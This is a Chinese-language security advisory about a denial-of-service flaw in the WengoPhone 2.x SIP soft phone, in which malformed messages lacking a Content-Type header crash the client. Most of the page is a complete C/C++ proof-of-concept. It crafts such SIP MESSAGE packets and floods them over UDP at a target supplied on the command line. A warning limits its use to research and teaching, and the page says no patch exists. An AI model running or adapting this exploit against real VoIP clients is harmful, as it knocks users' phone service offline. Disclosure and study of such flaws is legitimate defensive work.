当前位置: 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

WengoPhone SIP Soft Phone畸形数据包拒绝服务漏洞

信息来源:ZwelL (zwell@sohu.com)      发表日期:2013-06-15 14:11:00

WengoPhone是法国的VoIP服务提供商,提供基于SIP的软件电话。

WengoPhone 2.1及其他版本没有正确处理不带"Content-Type"字段的畸形数据,在实现上存在拒绝服务漏洞,成功利用后可使远程攻击者造成受影响设备拒绝服务。

 

BUGTRAQ-ID:25300

受影响系统:

wengophone wengophone 2.x

测试方法:

警  告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!#include

#include

using namespace std;  

 

#ifdef WIN32

#include

#pragma comment(lib, "ws2_32.lib")

#define close closesocket

#define write(a,b,c) send(a, b, c, 0)

#define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e)

#define read(a,b,c) recv(a, b, c, 0)

#define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e)

#else

#include

#include

#include

#include

#include

#define closesocket close

#define SOCKET int

#define DWORD unsigned long

#endif

 

char *craft_pkt =

        "MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\\r\\n"

        "Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\\r\\n"

        "From: [FROMUSER] ;tag=[TAG]\\r\\n"

        "To: \\r\\n"

        "Call-ID: [CALLID]@[DOMAIN]\\r\\n"

        "CSeq: [CSEQ] MESSAGE\\r\\n"

        "Contact: \\r\\n"

        "Content-Length: 0\\r\\n\\r\\n";

 

void socket_init()

{

#ifdef WIN32

        WSADATA wsaData;

        WSAStartup(MAKEWORD(2,0), &wsaData);

#endif

}

 

unsigned long resolv(const char *host)

{

        struct hostent             *hp;

        unsigned long              host_ip;

 

        host_ip = inet_addr(host);

        if( host_ip == INADDR_NONE )

        {

 

                hp = gethostbyname(host);

                if(!hp)

                {

                        printf("\\nError: Unable to resolve hostname

(%s)\\n",host);

                        exit(1);

                }

                else

                        host_ip = *(u_long*)hp->h_addr ;

        }

 

        return(host_ip);

}

 

SOCKET udpsocket()

{

        /* network */

        SOCKET sockfd;

        struct sockaddr_in laddr, raddr;

 

        sockfd = socket(AF_INET, SOCK_DGRAM, 0);

        if (sockfd == -1)

                goto error;

 

        memset((char *) &laddr, 0, sizeof(laddr));

        laddr.sin_family = AF_INET;

        laddr.sin_addr.s_addr = htonl(INADDR_ANY);

        if (bind(sockfd, (struct sockaddr *) &laddr, sizeof(laddr)) ==

-1)

                goto error;

 

        return sockfd;

 

error:

#ifdef WIN32

        printf("Error:%d\\n", GetLastError());

#endif

        return 0;

}

 

 

string &replace_all(string &str,const string& old_value,const string&

new_value) 

        while(true)  

        { 

                string::size_type   pos(0); 

                if(   (pos=str.find(old_value))!=string::npos) 

                        str.replace(pos,old_value.length(),new_value); 

                else   break; 

        } 

        return   str; 

}  

 

string &replace_with_rand(string &str, char *value, int len)

{

        char *strspace = "0123456789";

        char randstr[100];

        for(int i=0; i

        {

                do

                {

                        randstr[i] = strspace[rand()%strlen(strspace)];

                }while(randstr[i] == \'0\');

        }

        randstr[len] = 0;

        replace_all(str, value, randstr);

        return str;

}

 

string build_packet(string _packet, char *addr, char *host)

{

        string packet = _packet;

        replace_all(packet, "[FROMADDR]", addr);

        replace_all(packet, "[TOADDR]", host);

        replace_all(packet, "[DOMAIN]", "www.nosec.org");

        replace_all(packet, "[FROMUSER]", "siprint");

        replace_with_rand(packet, "[CSEQ]", 9);

        replace_with_rand(packet, "[CALLID]", 9);

        replace_with_rand(packet, "[TAG]", 9);

        replace_with_rand(packet, "[BRANCH]", 9);

        return packet;

}

 

int main(int argc, char **argv)

{

        char *host;

        int port;

        char *localip;

        struct sockaddr_in sockaddr;

        struct sockaddr_in raddr;

        int sockaddrlen = sizeof(sockaddr);

        SOCKET s;

 

        printf("WengoPhone 2.1 Missing Content-Type DOS PoC\\n");

 

        if(argc != 4)

        {

                printf("usage : %s \\n", argv[0]);

                exit(-1);

        }

           host = argv[1];

        port = atoi(argv[2]);

        localip = argv[3];

 

        socket_init();

        s = udpsocket();

        if(s == 0)

        {

                printf("Create udp socket error!\\n", host, port);

                return 1;

        }

        memset(&sockaddr, 0, sockaddrlen);

        getsockname(s, (struct sockaddr *) &sockaddr, (int *)

&sockaddrlen);

       

        raddr.sin_family = AF_INET;

        raddr.sin_addr.S_un.S_addr = resolv(host);

        raddr.sin_port = htons(port);

        for(int i=0; i<20; i++)

        {

                char portstr[6] = {\'\\0\'};

                string packet = build_packet(craft_pkt, localip, host);

                sprintf(portstr, "%d", ntohs(sockaddr.sin_port));

                replace_all(packet, "[LOCALPORT]", portstr);

                //printf("===========\\n%s\\n===========\\n",

packet.c_str());

                writeto(s, packet.c_str(), packet.length(), (struct

sockaddr*)&raddr, sockaddrlen);

                Sleep(100);

        }

 

        return 0;

}

解决办法:

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: